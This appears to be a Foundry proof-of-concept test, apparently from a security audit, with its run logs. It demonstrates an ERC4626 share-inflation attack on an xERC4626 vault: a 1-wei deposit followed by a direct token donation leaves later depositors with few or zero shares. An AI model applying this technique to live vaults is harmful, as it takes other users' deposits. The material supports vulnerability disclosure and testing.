    function testExploitNormalCase() public {
        token.mint(address(this), 1e24); // funding
        token.approve(address(xToken), type(uint256).max);
        xToken.syncRewards();
        hevm.warp(1); // skip 1 block from sync rewards. to update new TotalAsset() value
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 1e18  ", xToken.deposit(1e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_string("fast forward 1 hour to new rewards cycle");
        hevm.warp(3601); // new cycle
        emit log_named_uint("deposit 2e18  ", xToken.deposit(2e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        // Share price stay the same 1:1. Due to no rewards have been given.
    }

    function testExploitShare() public {
        token.mint(address(this), 1e24); // funding
        token.approve(address(xToken), type(uint256).max);

        // init total supply as 1:1 share with token as one.
        xToken.deposit(1, address(this));

        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_string("transfer 100e18 fake token rewards to inflate share price");
        // transfer fake rewards token to xToken contract to inflate totalAsset()
        token.transfer(address(xToken), 100e18);
        xToken.syncRewards();
        hevm.warp(1); // skip 1 block from sync rewards. to update new TotalAsset() value

        // totalSupply() still 1. So current share price is ~ 1e18 token instead of 1:1 for token.
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 1e18  ", xToken.deposit(1e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        // After new cycle come around. No rewards have been given.
        // But TotalAsset() have been updated to include fake rewards transfer above.
        // this push share price even higher than it should be.
        emit log_string("fast forward 1 hour to new rewards cycle");
        hevm.warp(3601); // new cycle
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 2e18  ", xToken.deposit(2e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        // xToken.syncRewards();
        // hevm.warp(7202); // new cycle
        // Test rounding up value of share
        emit log_named_uint("deposit 1.3e17", xToken.deposit(1.3e17, address(this)));
        emit log_named_uint("deposit 1.9e17", xToken.deposit(1.9e17, address(this)));
        emit log_named_uint("deposit 2e17  ", xToken.deposit(2e17, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 2.5e17", xToken.deposit(2.5e17, address(this)));
        // token too small will be reverted.
        hevm.expectRevert(abi.encodePacked("ZERO_SHARES"));
        xToken.deposit(1e17, address(this));
        emit log_string("deposit token less than share price amount will be reverted with zero share error");

        emit log_string("fast forward 1 hour to new rewards cycle");
        xToken.syncRewards();
        hevm.warp(7610); // new cycle
        emit log_named_uint("share price   ", xToken.convertToAssets(1));

        emit log_string("fast forward 1 hour to new rewards cycle");
        xToken.syncRewards();
        hevm.warp(7610+3601); // new cycle
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
    }
Running 2 tests for src\test\xERC4626.t.sol:xERC4626Test
[PASS] testExploitNormalCase() (gas: 286966)
Logs:
  share price   : 1
  deposit 1e18  : 1000000000000000000
  share price   : 1
  deposit 500e18: 500000000000000000000
  share price   : 1
  deposit 500e18: 500000000000000000000
  share price   : 1
  fast forward 1 hour to new rewards cycle
  deposit 2e18  : 2000000000000000000
  share price   : 1
  deposit 500e18: 500000000000000000000
  share price   : 1

[PASS] testExploitShare() (gas: 410737)
Logs:
  share price   : 1
  transfer 100e18 fake token rewards to inflate share price
  share price   : 100000000000000001
  deposit 1e18  : 9
  share price   : 110000000000000000
  deposit 500e18: 4545
  share price   : 110010976948408342
  deposit 500e18: 4545
  share price   : 110010989010989010
  fast forward 1 hour to new rewards cycle
  share price   : 120989010989010989
  deposit 2e18  : 16
  share price   : 120996050899517332
  deposit 500e18: 4132
  share price   : 120999396135265700
  deposit 1.3e17: 1
  deposit 1.9e17: 1
  deposit 2e17  : 1
  share price   : 121011244434382310
  deposit 2.5e17: 2
  deposit token less than share price amount will be reverted due to return 0 share
  fast forward 1 hour to new rewards cycle
  share price   : 121011846374405794
  fast forward 1 hour to new rewards cycle
  share price   : 121011846374405794

Test result: ok. 2 passed; 0 failed; finished in 20.78ms
